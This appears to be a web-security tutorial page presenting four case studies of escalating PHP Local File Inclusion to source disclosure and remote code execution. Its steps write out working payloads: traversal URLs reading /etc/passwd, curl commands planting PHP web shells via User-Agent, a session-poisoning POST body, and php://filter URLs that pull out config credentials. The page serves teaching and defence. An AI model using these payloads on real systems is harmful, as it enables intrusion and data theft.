Case Studies: From LFI to RCE and Beyond¶
This document presents several real-world scenarios demonstrating how Local File Inclusion (LFI) vulnerabilities can be discovered and escalated. The impact ranges from sensitive information disclosure to full Remote Code Execution (RCE).
Case Study 1: LFI to RCE via Log Poisoning¶
This case study demonstrates how a simple LFI vulnerability can be escalated to achieve Remote Code Execution (RCE) by poisoning a server's log file.
Scenario¶
An application allows users to view different language versions of the site using a URL parameter: https://example.com/index.php?lang=en.php
The backend PHP code likely looks something like this:
<?php
$lang = $_GET['lang'];
include('languages/' . $lang);
?>
The Attack¶
-
Confirm LFI: The attacker first confirms the LFI vulnerability by using directory traversal to read a common system file.
https://example.com/index.php?lang=../../../../etc/passwd -
Log Poisoning: The attacker realizes that the web server (e.g., Apache) logs the
User-Agentstring for every incoming request to/var/log/apache2/access.log. They can inject PHP code into this log file by sending a request with a malicious User-Agent.curl 'https://example.com/' -A '<?php system($_GET["cmd"]); ?>' -
Trigger RCE: The attacker now uses the LFI vulnerability to include the Apache log file. Since the log file now contains PHP code, the
include()function will execute it. The attacker can now pass commands via a new URL parameter (cmd).https://example.com/index.php?lang=../../../../var/log/apache2/access.log&cmd=whoami
This request causes the server to execute the whoami command, and the output (e.g., www-data) is returned in the HTTP response, confirming successful RCE.
Case Study 2: LFI for Sensitive Data Exposure via PHP Filters¶
Even without a path to RCE, LFI is a critical vulnerability that can expose source code and credentials. This scenario shows how to exfiltrate data even when direct file reading is partially mitigated.
Scenario¶
A web application uses a parameter to load different sections of a user dashboard. The developers have implemented some basic filtering against directory traversal, but PHP wrappers are still allowed.
URL: https://corp-dashboard.com/index.php?module=profile
The Attack¶
-
Initial Probing: The attacker tries standard LFI payloads like
../../etc/passwdbut finds they are blocked by a WAF or application logic. -
Using
php://filter: The attacker uses PHP's built-in filters to read files. Theconvert.base64-encodefilter is particularly useful as it can bypass simple WAF rules that look for file content patterns (like<?php).Payload to read
index.php:https://corp-dashboard.com/index.php?module=php://filter/convert.base64-encode/resource=index.php -
Data Exfiltration: The server responds with the Base64-encoded source code of
index.php.The attacker decodes this string to reveal the source code:PD9waHAKaW5jbHVkZSAnY29uZmlnL2RiLnBocCc7Cg...echo "PD9waHAKaW5jbHVkZSAnY29uZmlnL2RiLnBocCc7Cg..." | base64 -d -
Discovering More Files: By reading
index.php, the attacker discovers it includes another file,config/db.php. They repeat the process to read this new file.Payload to read
config/db.php:https://corp-dashboard.com/index.php?module=php://filter/convert.base64-encode/resource=config/db.php -
Critical Impact: The decoded source code of
db.phpreveals hardcoded database credentials.The attacker now has credentials to the application's database, leading to a full data breach without ever achieving RCE.<?php $db_host = "localhost"; $db_user = "corp_user"; $db_pass = "S3cureP@ssw0rd_f0r_DB!"; $db_name = "dashboard_db"; ?>
Case Study 3: LFI to RCE via /proc/self/environ¶
This technique works on some Linux systems where the /proc filesystem is accessible to the web server process. It allows an attacker to achieve RCE without needing to write to a log file.
Scenario¶
A legacy PHP endpoint on a Linux server is vulnerable to LFI.
URL: http://api.example.com/v1/legacy.php?page=welcome.html
The Attack¶
-
Confirm LFI: The attacker confirms they can read system files.
http://api.example.com/v1/legacy.php?page=../../../../proc/version -
Inject Payload into Environment Variable: The
/proc/self/environfile contains the environment variables of the current process. TheUser-AgentHTTP header is often stored in one of these variables. The attacker sends a request with a PHP payload in the User-Agent while simultaneously using the LFI to include theenvironfile.curl 'http://api.example.com/v1/legacy.php?page=../../../../proc/self/environ&cmd=id' \ -A '<?php echo shell_exec($_GET["cmd"]); ?>' -
Trigger RCE: When the PHP
include()function processes theenvironfile, it finds the attacker's payload (passed in the User-Agent) and executes it as PHP code. The server responds with the output of theidcommand (e.g.,uid=33(www-data) gid=33(www-data)), confirming RCE.
Limitations
This technique is highly situational. It requires the web server process to have permissions to access /proc/self/environ and is less reliable on modern, hardened systems.
Case Study 4: LFI to RCE via PHP Session Files¶
This attack is possible when an application uses PHP sessions and an attacker can control some of the data written into their own session file.
Scenario¶
A web application has a feature that allows users to set their preferred username, which is stored in their session. The application is also vulnerable to LFI.
The Attack¶
-
Identify Session Storage: The attacker determines the session file location (e.g.,
/var/lib/php/sessions/) and theirPHPSESSIDcookie value (e.g.,abcdef123456). The session file will be namedsess_abcdef123456. -
Control Session Content: The attacker finds the feature to update their username. Instead of a normal username, they submit a PHP payload.
POST /profile/update HTTP/1.1...username=<?php passthru($_GET['cmd']); ?> -
Include Session File: The attacker now uses the LFI vulnerability to include their own session file, which now contains the malicious code.
https://example.com/vulnerable.php?template=../../../../var/lib/php/sessions/sess_abcdef123456&cmd=ls -la -
Execute Commands: Because the session file is included, the PHP payload inside it is executed. The server executes
ls -laand returns the output, confirming RCE. This is a powerful technique as it doesn't rely on world-writable log files and is often overlooked.